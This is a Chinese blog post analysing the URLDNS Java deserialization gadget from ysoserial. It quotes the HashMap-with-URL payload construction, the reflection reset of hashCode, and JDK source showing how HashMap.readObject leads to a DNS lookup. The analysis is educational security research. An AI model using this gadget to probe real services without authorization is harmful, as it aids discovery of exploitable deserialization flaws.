URLDNS反序列化gadget分析
langu_xyz

0x00 分析gadget代码

ysoserial中URLDNS gadget代码只有短短几行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
URLStreamHandler handler = new SilentURLStreamHandler();

········

static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

注释中提到“为避免在创建payload时触发DNS解析”,这里就有两个问题:

1、创建payload时为什么会触发DNS解析?
2、重写URLStreamHandler的作用是什么呢?
1
2
3
HashMap ht = new HashMap();  //HashMap中将包含URL
URL u = new URL(null, url, handler); //创建URL,作为HashMap中的key
ht.put(u, url); //值可以是任何Serializable, URL作为key触发DNS lookup。

这几句的含义是创建一个HashMap,将URL对象作为key,在HashMap put操作的时候,会触发URL的序列化,在序列化的时候触发DNS解析。

在开头注释中也提示了Gadget Chain

  • HashMap.readObject()
    
  •   HashMap.putVal()
    
  •     HashMap.hash()
    
  •       URL.hashCode()
    
1
Reflections.setFieldValue(u, "hashCode", -1);//在上面的put过程中,URL的hashCode被计算并缓存。这将重置它,以便下次调用hashCode时触发DNS查找。

这句在这里的作用不太好理解,大概推测是hashcode的值为-1时,有不同的作用,这个疑问我们也留到下文中来寻找答案。

0x01 java.net.URL类为什么会触发DNS解析?

根据注释中的Chain,我们找到URL.hashCode(),if (hashCode != -1)这句可以解释上节中的“-1”的疑问了,当不等于“-1”的时候,会直接返回,而不会调用到 handler.hashCode中。

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

继续看 handler.hashCode做了哪些事情,可以看到getHostAddress会请求一次DNS解析,构成反序列化链路中的执行点。

1
2
3
4
5
6
7
8
9
10
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);

 

0x02 java.net.URL类如何触发DNS解析的(寻找触发点)?

定位到触发点HashMap.readObject(),可以看到这个方法将java.io.ObjectInputStream反序列化后的值putVal进Node中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

putVal的入参如下,其中在第一个入参hash方法(计算key.hashCode()并将较高的哈希值扩展为较低的哈希值),会调用key的hashcode方法。所以如果key是URL对象的话,就会调用到URL.hashCode方法,进而触发DNS解析。

1
2
3
4
5
6
7
8
9
10
11
12
13

/**
* Implements Map.put and related methods
*
* @param hash hash for key
* @param key the key
* @param value the value to put
* @param onlyIfAbsent if true, don't change existing value
* @param evict if false, the table is in creation mode.
* @return previous value, or null if none
*/
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict)

0x03 如何利用/利用代码为什么要这么写?

需要注意两个点:
1、hashCode默认是-1,如果触发一次DNS解析,则会缓存hashCode,导致后续请求时无法触发;
2、避免在生成payload的时候put触发DNS解析,这里也就回答文章开头的两个疑问,通过重写getHostAddress避免触发DNS解析。

为什么HashMap要自己实现writeObject和readObject方法,而不是使用JDK统一的默认序列化和反序列化操作呢?

首先要明确序列化的目的,将java对象序列化,一定是为了在某个时刻能够将该对象反序列化,而且一般来讲序列化和反序列化所在的机器是不同的,因为序列化最常用的场景就是跨机器的调用,而序列化和反序列化的一个最基本的要求就是,反序列化之后的对象与序列化之前的对象是一致的。

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的。

参考链接:https://juejin.cn/post/6844903954774491144

  • Post title:URLDNS反序列化gadget分析
  • Post author:langu_xyz
  • Create time:2019-01-15 21:00:00
  • Post link:https://blog.langu.xyz/URLDNS反序列化gadget分析/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.